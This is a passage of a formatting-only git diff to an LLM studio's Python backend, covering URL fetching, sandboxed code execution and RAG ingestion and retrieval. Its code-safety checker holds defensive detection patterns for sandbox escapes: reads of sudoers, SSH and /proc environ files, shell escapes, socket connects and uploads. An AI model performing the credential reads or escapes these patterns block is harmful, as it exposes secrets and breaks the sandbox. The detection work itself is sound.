parsed.scheme not in ("http", "https"): - return f"Blocked: only http/https URLs are allowed (got {parsed.scheme!r}).", "", "" + return ( + f"Blocked: only http/https URLs are allowed (got {parsed.scheme!r}).", + "", + "", + ) if not parsed.hostname: return "Blocked: URL is missing a hostname.", "", "" @@ -4086,14 +4263,26 @@ def _fetch_url_raw( resp = opener.open(req, timeout = _fetch_hop_timeout(timeout, deadline)) except _HTTPError as e: if e.code not in (301, 302, 303, 307, 308): - return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}", "", "" + return ( + f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}", + "", + "", + ) location = e.headers.get("Location") if not location: - return "Failed to fetch URL: redirect missing Location header.", "", "" + return ( + "Failed to fetch URL: redirect missing Location header.", + "", + "", + ) current_url = urljoin(current_url, location) rp = urlparse(current_url) if rp.scheme not in ("http", "https") or not rp.hostname: - return "Blocked: redirect target is not a valid http/https URL.", "", "" + return ( + "Blocked: redirect target is not a valid http/https URL.", + "", + "", + ) rp_port = rp.port or (443 if rp.scheme == "https" else 80) ok2, reason2, pinned_ip = _resolve_with_budget( rp.hostname, @@ -4131,7 +4320,11 @@ def _fetch_url_raw( # A missing or wrong PDF MIME type is common: once the initial text-sized # read identifies PDF magic, finish the bounded download to reach the EOF xref. - if not declared_pdf and len(raw_bytes) == max_bytes and _has_pdf_magic(raw_bytes): + if ( + not declared_pdf + and len(raw_bytes) == max_bytes + and _has_pdf_magic(raw_bytes) + ): tail_error, tail = _read_capped_body( resp, _MAX_PDF_FETCH_BYTES - max_bytes + 1, @@ -4251,7 +4444,9 @@ _HTML_LEADING_TAGS = ( "pre", "blockquote", ) -_HTML_LEADING_RE = re.compile(r"<(?:!doctype\s+html|/?(?:" + "|".join(_HTML_LEADING_TAGS) + r")\b)") +_HTML_LEADING_RE = re.compile( + r"<(?:!doctype\s+html|/?(?:" + "|".join(_HTML_LEADING_TAGS) + r")\b)" +) def _looks_like_html(body: str) -> bool: @@ -4335,7 +4530,8 @@ def _fetch_page_text( readme_body = converted if converted.strip() else body if readme_body.strip(): return _truncate_page_text( - f"README of {url} (fetched via the GitHub README API):\n\n" + readme_body, + f"README of {url} (fetched via the GitHub README API):\n\n" + + readme_body, max_chars, ) @@ -4593,7 +4789,9 @@ def _check_signal_escape_patterns(code: str): if func_name: if func_name in ("signal.signal", "signal"): if len(node.args) >= 1: - if _ast_name_matches(node.args[0], ("SIGALRM", "signal.SIGALRM")): + if _ast_name_matches( + node.args[0], ("SIGALRM", "signal.SIGALRM") + ): signal_tampering.append( { "type": "signal_handler_override", @@ -4603,7 +4801,9 @@ def _check_signal_escape_patterns(code: str): ) elif func_name in ("signal.setitimer", "setitimer"): if len(node.args) >= 1: - if _ast_name_matches(node.args[0], ("ITIMER_REAL", "signal.ITIMER_REAL")): + if _ast_name_matches( + node.args[0], ("ITIMER_REAL", "signal.ITIMER_REAL") + ): signal_tampering.append( { "type": "timer_manipulation", @@ -4656,7 +4856,9 @@ def _check_signal_escape_patterns(code: str): else: has_opaque_kwargs = True - cmd_kw_values = [v for k, v in expanded_kwargs.items() if k in _CMD_KWARGS] + cmd_kw_values = [ + v for k, v in expanded_kwargs.items() if k in _CMD_KWARGS + ] all_call_args = list(node.args) + cmd_kw_values blocked_in_args = _check_args_for_blocked(all_call_args) @@ -4666,7 +4868,9 @@ def _check_signal_escape_patterns(code: str): { "type": "shell_escape_dynamic", "line": node.lineno, - "description": (f"{shell_func}() called with dynamic **kwargs"), + "description": ( + f"{shell_func}() called with dynamic **kwargs" + ), } ) elif blocked_in_args: @@ -4697,7 +4901,8 @@ def _check_signal_escape_patterns(code: str): ) shell_node = expanded_kwargs.get("shell") shell_safe = shell_node is None or ( - isinstance(shell_node, ast.Constant) and shell_node.value is False + isinstance(shell_node, ast.Constant) + and shell_node.value is False ) # Dynamic shell-exec args (chr/format/concat bypasses). if ( @@ -4710,10 +4915,15 @@ def _check_signal_escape_patterns(code: str): if _extract_string_from_node(n) is not None: return True if isinstance(n, (ast.List, ast.Tuple)): - return all(_extract_string_from_node(e) is not None for e in n.elts) + return all( + _extract_string_from_node(e) is not None + for e in n.elts + ) return False - has_non_literal = any(not _is_safe_literal(a) for a in all_call_args) + has_non_literal = any( + not _is_safe_literal(a) for a in all_call_args + ) if has_non_literal: shell_escapes.append( { @@ -4970,7 +5180,9 @@ def _check_signal_escape_patterns(code: str): "/etc/sudoers", "/etc/ssh/", ) - _SENSITIVE_FILE_RE = re.compile(r"^/proc/(?:self|\d+)/(?:environ|cmdline|task/\d+/environ)$") + _SENSITIVE_FILE_RE = re.compile( + r"^/proc/(?:self|\d+)/(?:environ|cmdline|task/\d+/environ)$" + ) def _normalize_host(host: str) -> str: if not host: @@ -5013,9 +5225,15 @@ def _check_signal_escape_patterns(code: str): return True if kw.arg == "data": v = kw.value - if isinstance(v, ast.Call) and isinstance(v.func, ast.Name) and v.func.id == "open": + if ( + isinstance(v, ast.Call) + and isinstance(v.func, ast.Name) + and v.func.id == "open" + ): return True - if isinstance(v, ast.Constant) and isinstance(v.value, (bytes, bytearray)): + if isinstance(v, ast.Constant) and isinstance( + v.value, (bytes, bytearray) + ): return True return False @@ -5146,7 +5364,9 @@ def _check_signal_escape_patterns(code: str): """Whether the path argument resolves to a sandbox-local literal.""" if node is None: return False - if isinstance(node, ast.Constant) and isinstance(node.value, (bytes, bytearray)): + if isinstance(node, ast.Constant) and isinstance( + node.value, (bytes, bytearray) + ): return True # inline bytes, no file access if isinstance(node, ast.Constant) and isinstance(node.value, str): return _is_safe_relative_path(node.value) @@ -5232,7 +5452,11 @@ def _check_signal_escape_patterns(code: str): ) # Direct sock.connect((host, port)) bypasses the FQ-prefix branch. - if isinstance(node.func, ast.Attribute) and node.func.attr == "connect" and node.args: + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr == "connect" + and node.args + ): a0 = node.args[0] host_lit = None if isinstance(a0, ast.Tuple) and a0.elts: @@ -5269,7 +5493,9 @@ def _check_signal_escape_patterns(code: str): { "type": "upload_blocked", "line": getattr(node, "lineno", -1), - "description": ("Blocked: file upload disallowed in sandbox"), + "description": ( + "Blocked: file upload disallowed in sandbox" + ), } ) @@ -5370,18 +5596,28 @@ def _check_code_safety(code: str) -> str | None: if info.get("error"): return None - reasons = [item.get("description", "") for item in info.get("signal_tampering", [])] - shell_reasons = [item.get("description", "") for item in info.get("shell_escapes", [])] + reasons = [ + item.get("description", "") for item in info.get("signal_tampering", []) + ] + shell_reasons = [ + item.get("description", "") for item in info.get("shell_escapes", []) + ] exception_reasons = [ item.get("description", "") for item in info.get("exception_catching", []) ] - network_reasons = [item.get("description", "") for item in info.get("network_calls", [])] + network_reasons = [ + item.get("description", "") for item in info.get("network_calls", []) + ] file_reasons = [ item.get("description", "") for item in info.get("sensitive_file_reads", []) ] all_reasons = [ r - for r in reasons + shell_reasons + exception_reasons + network_reasons + file_reasons + for r in reasons + + shell_reasons + + exception_reasons + + network_reasons + + file_reasons if r ] if all_reasons: @@ -5554,7 +5790,9 @@ def _missing_path_hint(output: str, workdir: str | None = None) -> str: # A convention prefix is an out-of-sandbox signal only when the exact failing # path could not be isolated; scoped to the failing-path error line(s) so a # prefix mentioned elsewhere doesn't trigger a misleading hint. - convention = any(prefix in line for line in error_lines for prefix in _MISSING_PATH_PREFIXES) + convention = any( + prefix in line for line in error_lines for prefix in _MISSING_PATH_PREFIXES + ) if abs_path is not None: # Judge the isolated path against the real workdir even when it matches a # convention prefix, so a genuine miss inside a project rooted under such @@ -5706,13 +5944,17 @@ def _python_exec( except OSError: pass try: - fd, tmp_path = tempfile.mkstemp(suffix = ".py", prefix = "studio_exec_", dir = workdir) + fd, tmp_path = tempfile.mkstemp( + suffix = ".py", prefix = "studio_exec_", dir = workdir + ) # utf-8 so non-ASCII in model-written code survives the OS default codec # (Windows cp1252 would otherwise raise UnicodeEncodeError). with os.fdopen(fd, "w", encoding = "utf-8") as f: f.write(code) - safe_env = _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir) + safe_env = ( + _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir) + ) if disable_sandbox: # Match the sandboxed Python path without changing bypass shell I/O. safe_env = dict(safe_env) @@ -5729,7 +5971,9 @@ def _python_exec( env = safe_env, ) if sys.platform != "win32": - popen_kwargs["preexec_fn"] = _bypass_preexec if disable_sandbox else _sandbox_preexec + popen_kwargs["preexec_fn"] = ( + _bypass_preexec if disable_sandbox else _sandbox_preexec + ) else: popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW @@ -5839,7 +6083,9 @@ def _bash_exec( try: workdir = _get_workdir(session_id) - safe_env = _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir) + safe_env = ( + _build_bypass_env(workdir) if disable_sandbox else _build_safe_env(workdir) + ) popen_kwargs = dict( stdout = subprocess.PIPE, stderr = subprocess.STDOUT, @@ -5853,7 +6099,9 @@ def _bash_exec( env = safe_env, ) if sys.platform != "win32": - popen_kwargs["preexec_fn"] = _bypass_preexec if disable_sandbox else _sandbox_preexec + popen_kwargs["preexec_fn"] = ( + _bypass_preexec if disable_sandbox else _sandbox_preexec + ) else: popen_kwargs["creationflags"] = subprocess.CREATE_NO_WINDOW diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py index 9f301ba37e..99e5d5149b 100644 --- a/studio/backend/core/inference/worker.py +++ b/studio/backend/core/inference/worker.py @@ -40,7 +40,9 @@ def _ensure_backend_on_path() -> None: sys.path.insert(0, _BACKEND_PATH) -def _activate_transformers_version(model_name: str, hf_token: str | None = None) -> None: +def _activate_transformers_version( + model_name: str, hf_token: str | None = None +) -> None: """Activate the correct transformers version BEFORE any ML imports.""" _ensure_backend_on_path() @@ -184,7 +186,9 @@ def _ensure_ssm_kernels(targets: list, resp_queue: Any) -> bool: try: from utils.ssm_runtime import ensure_ssm_runtime except Exception as exc: - logger.debug("ssm_runtime unavailable (%s); skipping SSM kernel pre-install", exc) + logger.debug( + "ssm_runtime unavailable (%s); skipping SSM kernel pre-install", exc + ) return True _ssm_status = lambda m: _send_response(resp_queue, {"type": "status", "message": m}) @@ -304,10 +308,13 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: ) trust_remote_code = config.get("trust_remote_code", False) - if not trust_remote_code and _needs_nemotron_trust(config["model_name"], hf_token = hf_token): + if not trust_remote_code and _needs_nemotron_trust( + config["model_name"], hf_token = hf_token + ): trust_remote_code = True logger.info( - "Auto-enabled trust_remote_code for Nemotron model: %s", config["model_name"] + "Auto-enabled trust_remote_code for Nemotron model: %s", + config["model_name"], ) # Authoritative gates over the model + the LoRA base resolved via mc. Must run before @@ -332,7 +339,9 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: from utils.ssm_runtime import ssm_probe_identifier _ssm_base = ( - str(mc.base_model) if (mc.is_lora and getattr(mc, "base_model", None)) else None + str(mc.base_model) + if (mc.is_lora and getattr(mc, "base_model", None)) + else None ) ssm_targets = [ssm_probe_identifier(config["model_name"], _ssm_base)] if not _ensure_ssm_kernels(ssm_targets, resp_queue): @@ -351,8 +360,12 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: heartbeat_stop = start_watchdog( repo_ids = watch_repos, - on_stall = lambda msg: _send_response(resp_queue, {"type": "stall", "message": msg}), - on_heartbeat = lambda msg: _send_response(resp_queue, {"type": "status", "message": msg}), + on_stall = lambda msg: _send_response( + resp_queue, {"type": "stall", "message": msg} + ), + on_heartbeat = lambda msg: _send_response( + resp_queue, {"type": "status", "message": msg} + ), xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1", ) try: @@ -386,7 +399,9 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None: } _bm = getattr(backend, "models", {}) or {} _entry = ( - _bm.get(mc.identifier) or _bm.get(getattr(backend, "active_model_name", None)) or {} + _bm.get(mc.identifier) + or _bm.get(getattr(backend, "active_model_name", None)) + or {} ) try: _context_length = _entry.get("context_length") @@ -659,7 +674,9 @@ def _handle_generate_audio(backend, cmd: dict, resp_queue: Any) -> None: ) -def _handle_generate_audio_input(backend, cmd: dict, resp_queue: Any, cancel_event) -> None: +def _handle_generate_audio_input( + backend, cmd: dict, resp_queue: Any, cancel_event +) -> None: """Handle audio input generation (ASR/Whisper) — streams text tokens back.""" request_id = cmd.get("request_id", "") @@ -694,7 +711,9 @@ def _handle_generate_audio_input(backend, cmd: dict, resp_queue: Any, cancel_eve for text_chunk in generator: if cancel_event.is_set(): - logger.info("Audio input generation cancelled for request %s", request_id) + logger.info( + "Audio input generation cancelled for request %s", request_id + ) break _send_response( @@ -777,7 +796,9 @@ def run_inference_process( than run — the cancel survives the queue handoff. """ os.environ["TOKENIZERS_PARALLELISM"] = "false" - os.environ["PYTHONWARNINGS"] = "ignore" # Suppress warnings at C-level before imports + os.environ["PYTHONWARNINGS"] = ( + "ignore" # Suppress warnings at C-level before imports + ) if config.get("disable_xet"): os.environ["HF_HUB_DISABLE_XET"] = "1" @@ -817,7 +838,10 @@ def run_inference_process( exc, ) try: - from core.inference.mlx_inference import MLXInferenceBackend, _init_mlx_distributed + from core.inference.mlx_inference import ( + MLXInferenceBackend, + _init_mlx_distributed, + ) backend = MLXInferenceBackend() if config.get("mlx_distributed"): @@ -961,7 +985,10 @@ def run_inference_process( if _local_adapter_cfg.is_file(): try: _lora_base = ( - _json.loads(_local_adapter_cfg.read_text()).get("base_model_name_or_path") or None + _json.loads(_local_adapter_cfg.read_text()).get( + "base_model_name_or_path" + ) + or None ) except Exception: _lora_base = None @@ -994,9 +1021,9 @@ def run_inference_process( _gate_targets = [model_name] if _lora_base: _gate_targets.append(_lora_base) - _trust_remote_code = config.get("trust_remote_code", False) or _needs_nemotron_trust( - model_name, hf_token = _hf_token - ) + _trust_remote_code = config.get( + "trust_remote_code", False + ) or _needs_nemotron_trust(model_name, hf_token = _hf_token) if not _run_security_gates( _gate_targets, trust_remote_code = _trust_remote_code, @@ -1186,7 +1213,9 @@ def run_inference_process( ) except Exception as exc: - logger.error("Error handling command '%s': %s", cmd_type, exc, exc_info = True) + logger.error( + "Error handling command '%s': %s", cmd_type, exc, exc_info = True + ) _send_response( resp_queue, { diff --git a/studio/backend/core/rag/captioner.py b/studio/backend/core/rag/captioner.py index 8398506f21..5591607bdb 100644 --- a/studio/backend/core/rag/captioner.py +++ b/studio/backend/core/rag/captioner.py @@ -72,7 +72,9 @@ def vision_endpoint() -> tuple[str, str] | None: try: from routes.inference import get_llama_cpp_backend backend = get_llama_cpp_backend() - if getattr(backend, "is_loaded", False) and getattr(backend, "is_vision", False): + if getattr(backend, "is_loaded", False) and getattr( + backend, "is_vision", False + ): return backend.base_url, "local" except Exception: # noqa: BLE001 - never let discovery break ingestion return None @@ -139,7 +141,9 @@ def _vision_complete( return None -def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None: +def _caption_one( + base_url: str, model: str, image_bytes: bytes, timeout: float +) -> str | None: return _vision_complete( base_url, model, @@ -150,7 +154,9 @@ def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) ) -def _ocr_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None: +def _ocr_one( + base_url: str, model: str, image_bytes: bytes, timeout: float +) -> str | None: return _vision_complete( base_url, model, diff --git a/studio/backend/core/rag/chunking.py b/studio/backend/core/rag/chunking.py index c64acb4c60..72228ebd97 100644 --- a/studio/backend/core/rag/chunking.py +++ b/studio/backend/core/rag/chunking.py @@ -27,7 +27,9 @@ class Chunk: page_char_end: int -def _split(text: str, seps: tuple[str, ...], max_tokens: int, count: TokenCounter) -> list[str]: +def _split( + text: str, seps: tuple[str, ...], max_tokens: int, count: TokenCounter +) -> list[str]: """Recursively split into pieces each <= max_tokens (best effort). Pieces rejoin to ``text`` exactly, so offsets are a running length.""" if count(text) <= max_tokens: @@ -41,7 +43,9 @@ def _split(text: str, seps: tuple[str, ...], max_tokens: int, count: TokenCounte out: list[str] = [] for p in parts: out.extend( - [p] if count(p) <= max_tokens else _split(p, seps[i + 1 :], max_tokens, count) + [p] + if count(p) <= max_tokens + else _split(p, seps[i + 1 :], max_tokens, count) ) return [p for p in out if p] n = max(1, max_tokens * 4) @@ -49,7 +53,11 @@ def _split(text: str, seps: tuple[str, ...], max_tokens: int, count: TokenCounte def _merge( - pieces: list[str], starts: list[int], max_tokens: int, overlap: int, count: TokenCounter + pieces: list[str], + starts: list[int], + max_tokens: int, + overlap: int, + count: TokenCounter, ) -> list[tuple[str, int, int]]: """Greedy-merge pieces into <= max_tokens chunks with token overlap. ``starts[i]`` is ``pieces[i]``'s page char offset; returns @@ -106,7 +114,9 @@ def chunk_pages( for piece in pieces: starts.append(cursor) cursor += len(piece) - for text, char_start, char_end in _merge(pieces, starts, max_tokens, overlap, count): + for text, char_start, char_end in _merge( + pieces, starts, max_tokens, overlap, count + ): out.append( Chunk( text = text, diff --git a/studio/backend/core/rag/config.py b/studio/backend/core/rag/config.py index f54d795731..5d6edc1a84 100644 --- a/studio/backend/core/rag/config.py +++ b/studio/backend/core/rag/config.py @@ -116,7 +116,9 @@ def effective_gguf_repo() -> str: # llama-server backend only. F16 over Q8_0: faster (no per-block dequant for this # tiny model) and exact vs fp32, for ~30MB more on disk. -EMBED_GGUF_REPO = os.environ.get("RAG_EMBED_GGUF_REPO", "unsloth/bge-small-en-v1.5-GGUF") +EMBED_GGUF_REPO = os.environ.get( + "RAG_EMBED_GGUF_REPO", "unsloth/bge-small-en-v1.5-GGUF" +) EMBED_GGUF_VARIANT = os.environ.get("RAG_EMBED_GGUF_VARIANT", "F16") EMBED_DEVICE = os.environ.get("RAG_EMBED_DEVICE", "auto") # "auto" | "gpu" | "cpu" EMBED_HOST = os.environ.get("RAG_EMBED_HOST", "127.0.0.1") diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py index b141e59422..f4044e4720 100644 --- a/studio/backend/core/rag/embed_llama_server.py +++ b/studio/backend/core/rag/embed_llama_server.py @@ -68,7 +68,9 @@ class LlamaServerBackend: # Sticky after an auto GPU start fails: later spawns stay on CPU. self._force_cpu = False # Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY. - self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False) + self._client = httpx.Client( + timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False + ) atexit.register(self._shutdown) @property @@ -220,7 +222,9 @@ class LlamaServerBackend: gpus = LlamaCppBackend._get_gpu_free_memory() # [(idx, free_mib)], honors CVD return any(free >= LlamaServerBackend._MIN_GPU_FREE_MIB for _, free in gpus) - def _build_cmd(self, binary: str, model_path: str, port: int, *, use_gpu: bool) -> list[str]: + def _build_cmd( + self, binary: str, model_path: str, port: int, *, use_gpu: bool + ) -> list[str]: # No --embd-normalize (not in every build; we normalize in Python to match # the ST path). --fit off: don't auto-resize ctx/offload to device memory. cmd = [ @@ -263,8 +267,12 @@ class LlamaServerBackend: arch = platform.machine() lib_dirs = [binary_dir] for pattern in ( - os.path.join(sys.prefix, "lib", "python*", "site-packages", "nvidia", "cu*", "lib"), - os.path.join(sys.prefix, "lib", "python*", "site-packages", "nvidia", "cudnn", "lib"), + os.path.join( + sys.prefix, "lib", "python*", "site-packages", "nvidia", "cu*", "lib" + ), + os.path.join( + sys.prefix, "lib", "python*", "site-packages", "nvidia", "cudnn", "lib" + ), ): lib_dirs.extend(d for d in glob.glob(pattern) if os.path.isdir(d)) for cuda_lib in ( @@ -378,7 +386,9 @@ class LlamaServerBackend: def _current(self) -> bool: """Alive AND serving the effective repo (a Settings model change makes a live server stale).""" - return self._process_alive() and self._model_repo == config.effective_gguf_repo() + return ( + self._process_alive() and self._model_repo == config.effective_gguf_repo() + ) def _ensure_ready(self) -> None: """Guarantee a live server on the effective model, (re)spawning if needed. @@ -449,7 +459,9 @@ class LlamaServerBackend: raise RuntimeError( f"llama-server embedder POST {path} -> {e.response.status_code}: {body}" ) from e - raise RuntimeError(f"llama-server embedder POST {path} failed after retry") from last_exc + raise RuntimeError( + f"llama-server embedder POST {path} failed after retry" + ) from last_exc def encode( self, diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py index 15be7f1249..7285117f81 100644 --- a/studio/backend/core/rag/embeddings.py +++ b/studio/backend/core/rag/embeddings.py @@ -133,9 +133,13 @@ def _guard_model_security(name: str) -> None: # directly under a Transformer module dir (0_Transformer/) blocks instead of # passing as an unreferenced nested shard. load_subdirs = tuple( - dict.fromkeys((*security_load_subdirs(name, token), *_st_module_subdirs(name, token))) + dict.fromkeys( + (*security_load_subdirs(name, token), *_st_module_subdirs(name, token)) + ) ) - blocked = evaluate_file_security(name, hf_token = token, load_subdirs = load_subdirs).blocked + blocked = evaluate_file_security( + name, hf_token = token, load_subdirs = load_subdirs + ).blocked except Exception: return if blocked: @@ -158,7 +162,9 @@ def _get(model_name: str | None = None): device = _device() logger.info("loading embedding model %s on %s", name, device) _guard_model_security(name) - _model = SentenceTransformer(name, device = device, model_kwargs = dtype_kwargs("float16")) + _model = SentenceTransformer( + name, device = device, model_kwargs = dtype_kwargs("float16") + ) _name = name return _model diff --git a/studio/backend/core/rag/ingestion.py b/studio/backend/core/rag/ingestion.py index cba076f1be..7a890467d3 100644 --- a/studio/backend/core/rag/ingestion.py +++ b/studio/backend/core/rag/ingestion.py @@ -117,7 +117,8 @@ def _ocr_scanned_pages( scanned = [ p.page_number for p in pages - if p.page_number is not None and len((p.text or "").strip()) < config.OCR_MIN_CHARS + if p.page_number is not None + and len((p.text or "").strip()) < config.OCR_MIN_CHARS ] if not scanned or captioner.vision_endpoint() is None: return pages, set() @@ -143,15 +144,21 @@ def _ocr_scanned_pages( text = texts.get(page.page_number) if text: original = (page.text or "").strip() - merged = text if not original or original in text else f"{original}\n\n{text}" - out.append(Page(text = merged, page_number = page.page_number, char_count = len(merged))) + merged = ( + text if not original or original in text else f"{original}\n\n{text}" + ) + out.append( + Page(text = merged, page_number = page.page_number, char_count = len(merged)) + ) ocred.add(page.page_number) else: out.append(page) return out, ocred -def _replace_old_document(conn, replaces: tuple[str, str | None] | None, keep_path: str) -> None: +def _replace_old_document( + conn, replaces: tuple[str, str | None] | None, keep_path: str +) -> None: """Drop the document this ingestion replaced (stale embedder / empty prior ingest), called only after the replacement completed successfully.""" if replaces is None: @@ -214,7 +221,9 @@ def _run( tiles = [] if tiles: _progress(conn, job_id, "captioning", 0.28) - captions = captioner.merge_page_captions(captioner.caption_images(tiles)) + captions = captioner.merge_page_captions( + captioner.caption_images(tiles) + ) pages = captioner.splice_captions(pages, captions) _progress(conn, job_id, "chunking", 0.3) @@ -242,12 +251,16 @@ def _run( from . import locators regions = locators.pdf_regions_for_chunks(stored_path, pages, chunks) except Exception: - logger.warning("pdf region location failed for job %s", job_id, exc_info = True) + logger.warning( + "pdf region location failed for job %s", job_id, exc_info = True + ) regions = None _progress(conn, job_id, "storing", 0.9) store.add_chunks(conn, scope, document_id, chunks, vectors, regions) - store.set_document_status(conn, document_id, "completed", num_chunks = len(chunks)) + store.set_document_status( + conn, document_id, "completed", num_chunks = len(chunks) + ) _replace_old_document(conn, replaces, stored_path) _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0) @@ -299,7 +312,9 @@ def start_ingestion( if existing is not None: doc = store.get_document(conn, existing) empty_completed = ( - doc is not None and doc.get("status") == "completed" and not doc.get("num_chunks") + doc is not None + and doc.get("status") == "completed" + and not doc.get("num_chunks") ) # Vectors from a different embedder are stale; re-uploading must # re-index, not dedupe. NULL (legacy rows) is assumed current. Only @@ -317,13 +332,19 @@ def start_ingestion( # different model. Re-ingest, don't dedupe. replaces = (existing, doc.get("stored_path")) else: - job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0) + job_id = _new_job( + conn, existing, scope, status = "completed", progress = 1.0 + ) _remove_upload(stored_path) with _jobs_lock: _jobs[job_id] = queue.Queue() _emit( job_id, - {"type": "complete", "num_chunks": doc.get("num_chunks") or 0, "deduped": True}, + { + "type": "complete", + "num_chunks": doc.get("num_chunks") or 0, + "deduped": True, + }, ) _emit(job_id, None) return existing, job_id @@ -354,7 +375,16 @@ def start_ingestion( # effective_model (not the raw model_name) pins the embedder for the # whole job: a Settings change mid-ingestion must not switch tokenizer # or embedder between batches of one document. - args = (job_id, document_id, scope, stored_path, effective_model, ocr, caption, replaces), + args = ( + job_id, + document_id, + scope, + stored_path, + effective_model, + ocr, + caption, + replaces, + ), daemon = True, ).start() return document_id, job_id @@ -437,7 +467,9 @@ def job_events(job_id: str): # drop a document whose worker is still running. Heartbeat and # retry on the next poll instead. logger.warning( - "job_events status read failed for %s; continuing", job_id, exc_info = True + "job_events status read failed for %s; continuing", + job_id, + exc_info = True, ) yield {"type": "heartbeat"} continue diff --git a/studio/backend/core/rag/locators.py b/studio/backend/core/rag/locators.py index 9331bb15ac..263822bed1 100644 --- a/studio/backend/core/rag/locators.py +++ b/studio/backend/core/rag/locators.py @@ -120,7 +120,9 @@ def _rects_from_words(page_words: list, indices: list[int], pw: float, ph: float return out -def _regions_for_match(doc: Any, page_text: str, match: LocatorMatch) -> list[dict[str, Any]]: +def _regions_for_match( + doc: Any, page_text: str, match: LocatorMatch +) -> list[dict[str, Any]]: try: if match.page_index < 0 or match.page_index >= len(doc): return [] @@ -147,7 +149,9 @@ def _regions_for_match(doc: Any, page_text: str, match: LocatorMatch) -> list[di return [] -def pdf_regions_for_chunks(pdf_path: Path, pages: list, chunks: list) -> list[list[dict[str, Any]]]: +def pdf_regions_for_chunks( + pdf_path: Path, pages: list, chunks: list +) -> list[list[dict[str, Any]]]: """Region rects per chunk (parallel to ``chunks``), keyed off each chunk's ``source_page_index`` / ``page_char_start`` / ``page_char_end``. Non-PDFs and failures yield [], never an exception.""" diff --git a/studio/backend/core/rag/parsers.py b/studio/backend/core/rag/parsers.py index 0b42906b85..ceb4e0164f 100644 --- a/studio/backend/core/rag/parsers.py +++ b/studio/backend/core/rag/parsers.py @@ -88,7 +88,9 @@ def _markdown_corrupted(text: str) -> bool: legitimate shaped glyph does not force the fallback).""" if not text: return False - threshold = max(_PDF_FALLBACK_MIN_BAD_GLYPHS, _PDF_FALLBACK_BAD_GLYPH_RATIO * len(text)) + threshold = max( + _PDF_FALLBACK_MIN_BAD_GLYPHS, _PDF_FALLBACK_BAD_GLYPH_RATIO * len(text) + ) shaped = len(_SHAPED_PRESENTATION_FORMS.findall(text)) return shaped > threshold or text.count("\ufffd") > threshold @@ -135,13 +137,17 @@ def _pdf( pages: list[Page] = [] images: list[ParsedImage] = [] doc = ( - fitz.open(stream = source, filetype = "pdf") if isinstance(source, bytes) else fitz.open(source) + fitz.open(stream = source, filetype = "pdf") + if isinstance(source, bytes) + else fitz.open(source) ) try: if doc.needs_pass: raise ValueError("encrypted PDF requires a password") total_pages = doc.page_count - page_numbers = range(total_pages if max_pages is None else min(total_pages, max_pages)) + page_numbers = range( + total_pages if max_pages is None else min(total_pages, max_pages) + ) if not config.PDF_MARKDOWN: md = None elif max_pages is None: @@ -186,7 +192,9 @@ def _pdf( return pages, images, total_pages -def parse_pdf_bytes(data: bytes, *, max_pages: int | None = None) -> tuple[list[Page], int]: +def parse_pdf_bytes( + data: bytes, *, max_pages: int | None = None +) -> tuple[list[Page], int]: """Extract PDF pages from an in-memory download using the ingestion parser. Returns the (capped) pages plus the document's full page count, so a caller @@ -330,7 +338,11 @@ def render_pdf_figure_tiles( for clip in clips: try: pix = page.get_pixmap(dpi = dpi, clip = clip) - out.append(ParsedImage(image_bytes = pix.tobytes("png"), page_number = num, xref = 0)) + out.append( + ParsedImage( + image_bytes = pix.tobytes("png"), page_number = num, xref = 0 + ) + ) except Exception: continue if len(out) >= max_tiles: diff --git a/studio/backend/core/rag/retrieval.py b/studio/backend/core/rag/retrieval.py index 6f933e089e..2674677496 100644 --- a/studio/backend/core/rag/retrieval.py +++ b/studio/backend/core/rag/retrieval.py @@ -27,7 +27,10 @@ def retrieve_lexical( k: int | None = None, ) -> list[Hit]: k = k or config.TOP_K_LEXICAL - return [Hit(cid, s, lexical_score = s) for cid, s in store.search_lexical(conn, scope, query, k)] + return [ + Hit(cid, s, lexical_score = s) + for cid, s in store.search_lexical(conn, scope, query, k) + ] def retrieve_dense( @@ -52,13 +55,19 @@ def _rrf(rankings: list[list[Hit]], rrf_k: int, top_k: int) -> list[Hit]: best: dict[str, Hit] = {} for ranking in rankings: for rank, hit in enumerate(ranking): - fused[hit.chunk_id] = fused.get(hit.chunk_id, 0.0) + 1.0 / (rrf_k + rank + 1) + fused[hit.chunk_id] = fused.get(hit.chunk_id, 0.0) + 1.0 / ( + rrf_k + rank + 1 + ) cur = best.get(hit.chunk_id) if cur is None: - best[hit.chunk_id] = Hit(hit.chunk_id, 0.0, hit.lexical_score, hit.dense_score) + best[hit.chunk_id] = Hit( + hit.chunk_id, 0.0, hit.lexical_score, hit.dense_score + ) else: cur.lexical_score = ( - cur.lexical_score if cur.lexical_score is not None else hit.lexical_score + cur.lexical_score + if cur.lexical_score is not None + else hit.lexical_score ) cur.dense_score = ( cur.dense_score if cur.dense_score is not None else hit.dense_score @@ -89,7 +98,9 @@ def retrieve_hybrid( if mode == "dense": return retrieve_dense(conn, scope, query, k, model_name = model_name) lexical = retrieve_lexical(conn, scope, query, config.TOP_K_LEXICAL) - dense = retrieve_dense(conn, scope, query, config.TOP_K_DENSE, model_name = model_name) + dense = retrieve_dense( + conn, scope, query, config.TOP_K_DENSE, model_name = model_name + ) return _rrf([lexical, dense], config.RRF_K, k) diff --git a/studio/backend/core/rag/store.py b/studio/backend/core/rag/store.py index 